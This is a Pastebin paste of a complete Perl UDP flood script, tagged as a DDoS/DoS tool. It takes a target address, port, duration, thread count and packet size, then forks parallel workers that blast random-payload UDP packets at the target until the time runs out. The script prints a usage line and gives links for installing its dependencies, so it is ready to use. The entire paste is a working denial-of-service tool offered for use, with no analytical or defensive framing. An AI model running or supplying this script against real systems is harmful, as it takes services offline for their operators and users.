Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- #Tags: DDOS scripts, flood perl, UDP, dos
- # Written by Ammar.pw
- #Install dependencies http://pastebin.com/QCEBRNew
- # rpm -i http://pkgs.repoforge.org/perl-Time-HiRes/perl-Time-HiRes-1.9707-1.el5.rf.x86_64.rpm
- # ____,__, _,__, _, ____,____,
- # (-/_|(-|\/|(-|\/| (-/_|(-|__)
- # _/ |,_| _|,_| _|,_/ |,_| \,
- #( ( ( ( (
- use Term::ANSIColor;
- use IO::Socket;
- use Parallel::ForkManager;
- use Time::HiRes qw(nanosleep);
- $ARGC=@ARGV;
- sub rand_char
- {
- my @chars=('a'..'z','A'..'Z','0'..'9','_');
- return $chars[rand @chars];
- }
- sub hit
- {
- my ($endtime, $message, $port, $iaddr, $deli) = (@_);
- if($deli == 0)
- {
- while(time < $endtime)
- {
- send(crazy, $message, 0, sockaddr_in($port, $iaddr));
- }
- }
- else
- {
- while(time < $endtime)
- {
- send(crazy, $message, 0, sockaddr_in($port, $iaddr));
- nanosleep($deli);
- }
- }
- }
- if ($ARGC !=6)
- {
- printf "perl $0 <target> <port> <time(seconds)> <threads> <size> <deli(nanosecs)>\n";
- exit(1);
- }
- my ($target,$port,$size,$time);
- $target=$ARGV[0];
- $port=$ARGV[1];
- $time=$ARGV[2];
- $threads=$ARGV[3];
- $size=$ARGV[4];
- $deli=$ARGV[5];
- my $flood = IO::Socket::INET->new(
- Proto => 'udp',
- PeerPort => $port,
- PeerAddr => $target,
- ) or die "Could not create socket: $!\n";
- my $hit_limit = new Parallel::ForkManager($threads);
- $iaddr = inet_aton("$target");
- socket(crazy, PF_INET, SOCK_DGRAM, 17);
- for ($y = 0; $y < $size; $y++)
- {
- $message= $message . rand_char();
- }
- $endtime = time + $time;
- printf ("\n");
- print colored( ' Initating flood on '.$target.' with port '.$port.' for '.$time.' seconds', 'red' ), "\n";
- printf ("\n");
- print colored( ' Press Ctrl + C to exit flood', 'green' ), "\n";
- printf ("\n");
- while(time < $endtime)
- {
- $hit_limit->start and next;
- hit($endtime, $message, $port, $iaddr, $deli);
- $hit_limit->finish;
- }
Advertisement
Add Comment
Please, Sign In to add comment